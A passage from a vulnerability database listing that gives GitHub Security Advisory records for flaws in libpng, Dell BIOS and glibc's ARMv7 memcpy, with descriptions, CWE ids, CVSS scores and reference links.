"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-03-22T16:55:00Z",
"severity": "MODERATE"
},
"details": "Integer signedness error in the png_inflate function in pngrutil.c in libpng before 1.4.10beta01, as used in Google Chrome before 17.0.963.83 and other products, allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted PNG file, a different vulnerability than CVE-2011-3026.",
"id": "GHSA-w4pv-vqp3-f753",
"modified": "2025-06-09T18:31:54Z",
"published": "2022-05-13T01:27:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3045"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=799000"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14763"
},
{
"type": "WEB",
"url": "http://code.google.com/p/chromium/issues/detail?id=116162"
},
{
"type": "WEB",
"url": "http://googlechromereleases.blogspot.com/2012/03/stable-channel-update_21.html"
},
{
"type": "WEB",
"url": "http://libpng.git.sourceforge.net/git/gitweb.cgi?p=libpng/libpng%3Ba=commit%3Bh=a8c319a2b281af68f7ca0e2f9a28ca57b44ceb2b"
},
{
"type": "WEB",
"url": "http://libpng.git.sourceforge.net/git/gitweb.cgi?p=libpng/libpng;a=commit;h=a8c319a2b281af68f7ca0e2f9a28ca57b44ceb2b"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2012-March/075424.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2012-March/075619.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2012-March/075981.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2012-March/075987.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2012-March/076461.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2012-March/076731.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2012-04/msg00000.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2012-03/msg00051.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2012-0407.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2012-0488.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48320"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48485"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48512"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48554"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/49660"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-201206-15.xml"
},
{
"type": "WEB",
"url": "http://src.chromium.org/viewvc/chrome?view=rev\u0026revision=125311"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2012/dsa-2439"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2012:033"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1026823"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X379-72WQ-8VWF
Vulnerability from github – Published: 2024-02-06 09:31 – Updated: 2024-02-06 09:31
VLAI
Details
Dell BIOS contains a Signed to Unsigned Conversion Error vulnerability. A local authenticated malicious user with admin privileges could potentially exploit this vulnerability, leading to denial of service.
Severity
6.7 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-28063"
],
"database_specific": {
"cwe_ids": [
"CWE-195",
"CWE-681"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-06T08:15:46Z",
"severity": "MODERATE"
},
"details": "\nDell BIOS contains a Signed to Unsigned Conversion Error vulnerability. A local authenticated malicious user with admin privileges could potentially exploit this vulnerability, leading to denial of service.\n\n",
"id": "GHSA-x379-72wq-8vwf",
"modified": "2024-02-06T09:31:38Z",
"published": "2024-02-06T09:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28063"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000214780/dsa-2023-176-dell-client-bios-security-update-for-a-signed-to-unsigned-conversion-error-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XMHR-MV9M-HHVF
Vulnerability from github – Published: 2022-05-24 17:13 – Updated: 2022-05-24 17:13
VLAI
Details
An exploitable signed comparison vulnerability exists in the ARMv7 memcpy() implementation of GNU glibc 2.30.9000. Calling memcpy() (on ARMv7 targets that utilize the GNU glibc implementation) with a negative value for the 'num' parameter results in a signed comparison vulnerability. If an attacker underflows the 'num' parameter to memcpy(), this vulnerability could lead to undefined behavior such as writing to out-of-bounds memory and potentially remote code execution. Furthermore, this memcpy() implementation allows for program execution to continue in scenarios where a segmentation fault or crash should have occurred. The dangers occur in that subsequent execution and iterations of this code will be executed with this corrupted data.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2020-6096"
],
"database_specific": {
"cwe_ids": [
"CWE-191",
"CWE-195"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-01T22:15:00Z",
"severity": "HIGH"
},
"details": "An exploitable signed comparison vulnerability exists in the ARMv7 memcpy() implementation of GNU glibc 2.30.9000. Calling memcpy() (on ARMv7 targets that utilize the GNU glibc implementation) with a negative value for the \u0027num\u0027 parameter results in a signed comparison vulnerability. If an attacker underflows the \u0027num\u0027 parameter to memcpy(), this vulnerability could lead to undefined behavior such as writing to out-of-bounds memory and potentially remote code execution. Furthermore, this memcpy() implementation allows for program execution to continue in scenarios where a segmentation fault or crash should have occurred. The dangers occur in that subsequent execution and iterations of this code will be executed with this corrupted data.",
"id": "GHSA-xmhr-mv9m-hhvf",
"modified": "2022-05-24T17:13:19Z",
"published": "2022-05-24T17:13:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6096"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772@%3Cdev.mina.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/10/msg00021.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SPYXTDOOB4PQGTYAMZAZNJIB3FF6YQXI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/URXOIA2LDUKHQXK4BE55BQBRI6ZZG3Y6"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202101-20"
},
{
"type": "WEB",
"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=25620"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2020-1019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.